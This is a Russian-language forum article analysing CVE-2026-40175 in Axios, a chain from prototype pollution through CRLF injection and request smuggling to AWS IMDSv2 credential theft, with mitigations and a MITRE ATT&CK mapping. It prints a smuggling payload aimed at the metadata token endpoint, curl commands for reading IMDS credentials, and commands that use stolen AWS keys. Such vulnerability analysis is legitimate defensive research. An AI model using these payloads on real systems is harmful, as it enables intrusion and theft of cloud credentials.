• Твой профиль заполнен на 0%. Заполни за 1 минуту, чтобы тебя нашли единомышленники и работодатели. Заполнить →

Статья CVE-2026-40175 Axios уязвимость: разбор цепочки Prototype Pollution → RCE и обход AWS IMDSv2

Исследователь безопасности сидит спиной к камере перед двумя тёмными мониторами с зелёным терминальным текстом и янтарными логами. Бирюзовый свет экранов падает на капюшон, глубокие тени поглощают...


Библиотека с 60 миллионами загрузок в неделю получает CVSS 10.0 - и сообщество предсказуемо раскалывается надвое. Одни кричат «всё пропало», другие - «это не эксплуатируемо». С CVE-2026-40175 в Axios произошло именно так. Заголовки в духе «полная компрометация облака» соседствуют с заявлением самого исследователя, нашедшего баг: «в реальном продакшене это не должно сработать». Истина посередине - и для пентестера критично понимать, где именно эта середина проходит.

Я разобрал всю цепочку руками: от prototype pollution через CRLF-инъекцию до request smuggling и обхода AWS IMDSv2. Согласно NVD, цепочка может быть эскалирована до RCE или полной компрометации облака - здесь фокус на SSRF/credential theft; RCE достижим через пост-эксплуатацию украденных credentials (например, через AWS SSM Run Command или Lambda). Дальше - пошаговый разбор каждого звена, точные места, где цепочка ломается в Node.js, и конкретные edge-кейсы, где она всё-таки работает. Плюс детект, митигация и маппинг на MITRE ATT&CK.

Три CWE в одном CVE: почему CVSS-вектор = 10.0​

CVE-2026-40175 (advisory GHSA-fvcv-3m26-pcqx) - не одна уязвимость, а цепочка из трёх связанных слабостей. Именно их комбинация даёт максимальный CVSS:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 (CRITICAL)

Вектор по компонентам:

КомпонентЗначениеЧто означает
AV:NNetworkАтака по сети, без физического доступа
AC:LLowНикаких специальных условий
PR:NNoneПривилегии не требуются
UI:NNoneДействие пользователя не требуется
S:CChangedАтака выходит за пределы уязвимого компонента
C:H/I:H/A:HHighПолная компрометация конфиденциальности, целостности, доступности

Ключевой момент - Scope: Changed. Уязвимость в Axios позволяет атаковать другие компоненты системы (AWS IMDS, внутренние сервисы). Именно поэтому 10.0, а не 9.8.

Три CWE из advisory (GHSA-fvcv-3m26-pcqx):
  • - Improper Neutralization of CRLF Sequences in HTTP Headers. Отсутствие санитизации значений заголовков позволяет инъекцию \r\n.
  • CWE-444 - HTTP Request/Response Smuggling. Инъецированные CRLF-последовательности формируют «контрабандный» HTTP-запрос внутри легитимного.
  • - Server-Side Request Forgery (SSRF). Контрабандный запрос перенаправляется на внутренние эндпоинты, включая AWS IMDS.
Каждый CWE - отдельное звено цепочки. Уберите любое - эксплуатация не сработает. Запомните это: именно тут начинается дискуссия о реальной эксплуатируемости.

Анатомия Gadget Chain: как Prototype Pollution превращается в SSRF и Cloud Compromise​

По данным security advisory, уязвимый код сидит в lib/adapters/http.js - HTTP-адаптере Axios для Node.js. Разберём цепочку шаг за шагом.

Шаг 1: Prototype Pollution в сторонней зависимости​

Первое звено - не сам Axios. Атакующему нужен «вход» через prototype pollution в любой другой библиотеке из дерева зависимостей. Как указал мейнтейнер Axios Джейсон Сааймен, подходящие кандидаты - qs, minimist, ini, body-parser и подобные пакеты, парсящие пользовательский ввод.
JavaScript:
// Пример: prototype pollution через уязвимый парсер
// Атакующий контролирует входные данные, например через query string
// Уязвимая библиотека записывает свойство в Object.prototype
Object.prototype['x-custom-header'] = 'injected-value';
Ничего нового - prototype pollution в npm-зоопарке встречается регулярно. Классические цепочки через [B]proto[/B] или constructor.prototype знакомы многим по lodash, merge-deep и десяткам других пакетов.

Шаг 2: Axios подхватывает «загрязнённые» свойства​

Вот где Axios становится «гаджетом». При формировании конфигурации запроса Axios выполняет merge объектов. Если Object.prototype загрязнён свойством, имя которого выглядит как HTTP-заголовок, Axios подхватит его при слиянии конфигов.
JavaScript:
// Приложение делает обычный запрос - никакого пользовательского ввода
axios.get('https://internal.service/api/data');

// Внутри Axios: при merge конфигурации
// polluted-свойство 'x-amz-target' наследуется из Object.prototype
// и попадает в headers итогового запроса
Критический момент: разработчик приложения не передаёт никаких пользовательских данных в заголовки. Запрос может быть полностью захардкожен. Но merge-логика Axios не фильтрует свойства, унаследованные от прототипа. Тупо берёт всё, что видит.

Шаг 3: CRLF-инъекция в заголовках (CWE-113)​

До версии 1.15.0 Axios не проверял значения заголовков на наличие \r\n. Это позволяло сформировать payload, который «разрывает» HTTP-запрос:
JavaScript:
// Prototype pollution payload для CRLF-инъекции
Object.prototype['x-amz-target'] =
  "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\n" +
  "Host: 169.254.169.254\r\n" +
  "X-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";
// "GET /ignore" - absorber, поглощающий trailing-данные
// первого (легитимного) запроса, чтобы smuggled PUT был корректно разобран.
// Это только первый этап - получение IMDSv2-токена. Для полной эксплуатации
// нужен второй раунд инъекции с GET /latest/meta-data/iam/security-credentials/{role}
// и заголовком X-aws-ec2-metadata-token, содержащим украденный токен.
Что тут происходит: значение заголовка содержит \r\n\r\n - терминатор HTTP-заголовков. Всё, что идёт после, интерпретируется как новый HTTP-запрос. Классический request smuggling (CWE-444).

Шаг 4: Контрабандный запрос уходит в сокет​

Axios передаёт заголовки низкоуровневой функции Node.js http.request(). В стандартном Node.js валидация заблокирует CRLF (подробности - в секции «Реальная эксплуатируемость»). Однако при использовании кастомного адаптера, пишущего напрямую в сокет, или альтернативного рантайма без такой валидации - контрабандный запрос будет записан в TCP-соединение. Сервер на другом конце видит два запроса вместо одного.

Как smuggled-запрос попадает на IMDS. Контрабандный запрос сам по себе не перенаправляется на произвольный хост. Чтобы smuggled PUT к 169.254.169.254 дошёл до IMDS, нужен промежуточный компонент - reverse proxy, load balancer или HTTP-прокси, - который разбирает TCP-поток и маршрутизирует каждый HTTP-запрос независимо.

Типичная модель: Axios шлёт запрос через HTTP forward proxy (например, Squid в режиме forward proxy), который видит в одном соединении два запроса - легитимный и контрабандный. Forward proxy обрабатывает первый, а второй (smuggled) маршрутизирует по указанному Host/URI на 169.254.169.254.

Тут есть нюанс: reverse proxy (Nginx, ALB) и большинство load balancer'ов не маршрутизируют smuggled-запросы на произвольные хосты - они проксируют только на заранее сконфигурированные upstream'ы. ALB как AWS-сервис не будет проксировать запросы на link-local адреса IMDS. Без промежуточного hop - при прямом соединении Axios → целевой сервис - smuggled-запрос попадёт на тот же целевой хост, а не на IMDS.

Альтернативный сценарий: целевой сервис на EC2 сам обрабатывает smuggled-запрос и делает внутренний запрос к IMDS (SSRF на стороне backend'а). Это существенно сужает реальную поверхность атаки - нужен либо forward proxy с маршрутизацией по Host, либо backend, уязвимый к SSRF.

Обход AWS IMDSv2: как контрабандный PUT-запрос крадёт IAM-токены​

Теперь самая «громкая» часть CVE-2026-40175 Axios уязвимости - обход AWS IMDSv2 и кража облачных credentials.

Зачем нужен IMDSv2​

AWS Instance Metadata Service (IMDS) доступен по адресу 169.254.169.254 с любого EC2-инстанса. IMDSv1 отдавал данные на простой GET - это был любимый вектор для SSRF-атак. AWS ввёл IMDSv2, который требует двухэтапной аутентификации:
Bash:
# Шаг 1: получение сессионного токена через PUT-запрос
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Шаг 2: использование токена для запроса метаданных
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
IMDSv2 считался надёжной защитой от SSRF: классическая SSRF-атака может отправить GET, но не PUT с обязательным заголовком. Request smuggling меняет правила игры.

Как цепочка обходит IMDSv2​

Контрабандный запрос из Шага 3 выше - это именно PUT на /latest/api/token с заголовком X-aws-ec2-metadata-token-ttl-seconds: 21600. Если он дойдёт до IMDS, сервис вернёт валидный сессионный токен.

Последовательность атаки для кражи IAM-credentials (Credential Access - Cloud Instance Metadata API, T1552.005):
  1. Prototype pollution через стороннюю зависимость
  2. Axios формирует запрос с CRLF-инъекцией в заголовках
  3. Контрабандный PUT-запрос попадает на 169.254.169.254
  4. IMDS возвращает сессионный токен в TCP-поток. В классическом request smuggling ответ на smuggled-запрос попадает не атакующему напрямую, а в response queue соединения - его получает следующий легитимный запрос в том же TCP-соединении (response queue poisoning). Для эксфильтрации атакующему нужен либо контроль над следующим запросом в соединении, либо out-of-band канал (smuggled-запрос перенаправляет ответ на контролируемый сервер), либо чтение ответа из потока Axios при кастомном адаптере.
  5. При успешной эксфильтрации токена - второй smuggled GET с этим токеном забирает IAM-credentials (требует отдельного раунда инъекции или заранее сформированной цепочки smuggled-запросов)
  6. Атакующий получает AccessKeyId, SecretAccessKey, Token
С этими credentials атакующий работает с AWS API напрямую:
Bash:
# Использование украденных credentials
export AWS_ACCESS_KEY_ID="украденный_key"
export AWS_SECRET_ACCESS_KEY="украденный_secret"
export AWS_SESSION_TOKEN="украденный_token"

# Проверка идентити
aws sts get-caller-identity

# Листинг S3-бакетов
aws s3 ls
Это полная компрометация облачного аккаунта в рамках привилегий IAM-роли инстанса - именно поэтому Scope: Changed в CVSS-векторе.

Реальная эксплуатируемость: где цепочка ломается​

А теперь - то, что русскоязычные источники практически не разбирают. Цепочка атаки красиво выглядит в теории, но в стандартном Node.js-окружении она не работает. И вот почему.

Node.js блокирует CRLF в заголовках на уровне рантайма​

Node.js отвергает символы \r\n в HTTP-заголовках начиная с ранних версий. Проверка зашита внутри нативного http.request():
JavaScript:
// Попытка отправить заголовок с CRLF в Node.js
const http = require('http');

http.request({
  hostname: 'example.com',
  headers: {
    'x-test': 'hello\r\nInjected: yes'
  }
});
// Результат: TypeError [ERR_INVALID_CHAR]: Invalid character in header content
Запрос не отправляется. Ошибка выбрасывается до любого сетевого взаимодействия. По данным Aikido.dev, исследователь Рауль Вега дель Валье, обнаруживший уязвимость, подтвердил: «В реальном приложении... это не должно произойти... Node, Bun и Deno блокируют CRLF».

Он же прямо сказал: «Это не должно быть возможно в реальных продакшн-приложениях».

Когда цепочка Prototype Pollution → RCE всё-таки работает​

Но не спешите закрывать тикет. Есть конкретные сценарии, где цепочка эксплуатируема.

1. Custom Axios adapter. Axios позволяет заменять HTTP-адаптер. Если приложение использует кастомный адаптер, который пишет данные напрямую в сокет через net.Socket.write(), минуя http.request() - валидация Node.js не срабатывает. Лично я встречал такие адаптеры в проектах, где разработчики «оптимизировали» работу с HTTP, обходя стандартный стек.
JavaScript:
// Кастомный адаптер без валидации - концепт
const net = require('net');

function customAdapter(config) {
  return new Promise((resolve) => {
    const socket = net.createConnection({ host: config.host, port: 80 });
    // Заголовки пишутся напрямую - без проверки CRLF
    const raw = `GET ${config.url} HTTP/1.1\r\nHost: ${config.host}\r\n`;
    for (const [key, value] of Object.entries(config.headers)) {
      raw += `${key}: ${value}\r\n`;  // value может содержать \r\n!
    }
    socket.write(raw + '\r\n');
    // ... обработка ответа
  });
}
2. Альтернативные рантаймы с ослабленной валидацией. Хотя исследователь указал, что Bun и Deno тоже блокируют CRLF, менее распространённые JavaScript-рантаймы или встраиваемые движки могут не иметь такой защиты.

3. Proxy-серверы и реверс-прокси. Если между Axios и целевым сервером стоит прокси, который обрабатывает запрос «as-is» без ре-валидации заголовков - контрабандный запрос может пройти.

4. Не-IMDSv2 цели. Даже если обход IMDSv2 не сработает, CRLF-инъекция открывает другие векторы: инъекция заголовков Cookie или Authorization для доступа к внутренним сервисам, отравление кеша через заголовок Host.

Итоговая оценка для пентестера​

СценарийЭксплуатируемостьИмпакт
Стандартный Node.js + http.requestНет-
Кастомный Axios adapter (raw sockets)ДаКритический
Альтернативный рантайм без CRLF-валидацииВозможноКритический
Node.js + IMDSv1 (устаревший)ЧастичноВысокий
Любой рантайм + не-IMDS цели (cache poisoning)Зависит от конфигурацииСредний–Высокий

Уязвимость реальна на уровне библиотеки, даже если рантайм её блокирует. Если завтра в Node.js найдут обход валидации заголовков - CVE-2026-40175 мгновенно станет эксплуатируемой. Defense in depth тут не пустые слова, а единственная стратегия.

Практика для пентестеров: детект и проверка​

🔓 Эксклюзивный контент для зарегистрированных пользователей.

Маппинг на MITRE ATT&CK: полная цепочка атаки​

Цепочка CVE-2026-40175 покрывает несколько тактик и техник из MITRE ATT&CK:

Звено цепочкиТехникаТактика
Prototype pollution через уязвимую зависимость (T1190)Initial Access
Выполнение JavaScript-payload в контексте Node.jsJavaScript (T1059.007)Execution
Эскалация от PP к SSRF/RCE через AxiosExploitation for Privilege Escalation (T1068)Privilege Escalation
Обход IMDSv2 через request smugglingExploitation for Defense Evasion (T1211)Defense Evasion
Запрос к Cloud Instance Metadata API (T1552.005)Credential Access
Использование украденных IAM-credentialsCloud Accounts (T1078.004)Persistence, Defense Evasion
Загрузка дополнительных инструментов через скомпрометированный аккаунтIngress Tool Transfer (T1105)Command and Control

Цепочка проходит через семь тактик - от Initial Access до C2. Это не типичная «одна уязвимость - один импакт», а полноценный kill chain, который при успешной эксплуатации даёт атакующему постоянный доступ к облачной инфраструктуре.

Контекст: связь с атакой на supply chain Axios​

По данным The Stack, уязвимость была обнаружена в ходе аудита безопасности Axios после недавней supply chain атаки. Мейнтейнер Джейсон Сааймен стал жертвой целевой атаки - предположительно, со стороны северокорейских группировок, которые использовали персонализированный фишинговый звонок. Это привело к компрометации пакета и последующему масштабному аудиту кодовой базы, в ходе которого и нашли CVE-2026-40175.

Методология подсчёта не раскрыта - цифру «60 миллионов загрузок в неделю» стоит рассматривать как верхнюю границу, а не подтверждённое число эксплуатируемых систем. Axios - один из самых популярных npm-пакетов, широко используемый в серверных Node.js-приложениях.

Митигация Prototype Pollution и защита от CVE-2026-40175​

Немедленные действия: обновление Axios​

Патч доступен в версии 1.15.0 (основная ветка 1.x). Advisory также указывает fix в 0.3.1. Согласно NVD, fix доступен в 1.15.0 и 0.3.1. Формулировка «Prior to 1.15.0 and 0.3.1» в NVD неоднозначна: 0.3.1 - ранний релиз 2014 года, и неясно, уязвимы ли промежуточные версии 0.4.0–0.27.x. Пользователям 0.21.x–0.27.x рекомендуется мигрировать на 1.15.0+. Для точного определения затронутых диапазонов проверьте advisory GHSA-fvcv-3m26-pcqx.

Обновление добавляет строгую валидацию значений заголовков - при обнаружении CRLF выбрасывается ошибка безопасности:
Bash:
# Обновление до исправленной версии
npm install axios@^1.15.0

# Для проектов на 0.x (0.21.x–0.27.x): мигрируйте на 1.15.0+
# Версия 0.3.1 - fix только для ранних 0.x (до 0.3.0), НЕ для 0.21–0.27
# См. advisory GHSA-fvcv-3m26-pcqx для точного диапазона

# Верификация установленной версии
npm ls axios

Архитектурная защита от Prototype Pollution в Node.js​

Обновление Axios закрывает один гаджет, но prototype pollution как класс атак требует системного подхода.

Object.create(null) для конфигурационных объектов:
JavaScript:
// Вместо обычного объекта, наследующего от Object.prototype:
const config = {};  // уязвимо к prototype pollution

// Используйте «чистый» объект без прототипа:
const config = Object.create(null);  // не наследует загрязнённые свойства
Object.freeze(Object.prototype) - ядерный вариант:
JavaScript:
// Замораживаем прототип на старте приложения
// ВНИМАНИЕ: может сломать код, полагающийся на модификацию прототипа
Object.freeze(Object.prototype);
Валидация входных данных с hasOwnProperty:
JavaScript:
// При обработке пользовательского ввода
function safeGet(obj, key) {
  if (Object.prototype.hasOwnProperty.call(obj, key)) {
    return obj[key];
  }
  return undefined;
}
Сетевая сегментация для IMDS - ограничьте доступ к 169.254.169.254 через iptables или AWS VPC endpoint policies. Принудительно включите IMDSv2-only:
Bash:
# Принудительное включение IMDSv2-only на EC2-инстансе
aws ec2 modify-instance-metadata-options \
  --instance-id i-xxxxxxxxx \
  --http-tokens required \
  --http-endpoint enabled
Мониторинг обращений к IMDS - настройте алерты на аномальные запросы к 169.254.169.254, особенно PUT на /latest/api/token из процессов, которые обычно к IMDS не обращаются.

Сканирование зависимостей​

Включите регулярное сканирование зависимостей в CI/CD-пайплайн. CVE-2026-40175 показывает, что «безопасная» библиотека может стать эксплуатируемым гаджетом при наличии prototype pollution в любой другой зависимости из node_modules. Один загрязнённый прототип - и весь npm-зоопарк превращается в поверхность атаки.

Заключение: что означает CVE-2026-40175 для практики пентеста​

CVE-2026-40175 - показательный пример того, как CVSS 10.0 и реальная эксплуатируемость могут расходиться. Уязвимость в Axios реальна на уровне библиотеки: отсутствие санитизации заголовков - объективный факт. Но Node.js, Bun и Deno блокируют CRLF-инъекцию на уровне рантайма, превращая теоретический kill chain в нерабочий в стандартных окружениях.

Для пентестера это три конкретных действия:
  1. Проверяйте кастомные адаптеры. Нестандартный HTTP-транспорт - и цепочка может работать.
  2. Ищите prototype pollution в стеке. Без PP-входа гаджет в Axios бесполезен. Но если PP есть - даже пропатченный Axios не единственный возможный гаджет.
  3. Аудитируйте IMDS-конфигурацию. Принудительный IMDSv2-only и сетевая сегментация работают даже если все библиотеки окажутся уязвимы.
Обновляйте Axios до 1.15.0, но не останавливайтесь. Prototype pollution - это класс уязвимостей, а не единичный баг. Следующий гаджет может оказаться в другой библиотеке - и рантайм не всегда вас спасёт. Проверьте свой package-lock.json прямо сейчас: npm audit --production. Если там чисто - отлично. Если нет - вы знаете, что делать.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab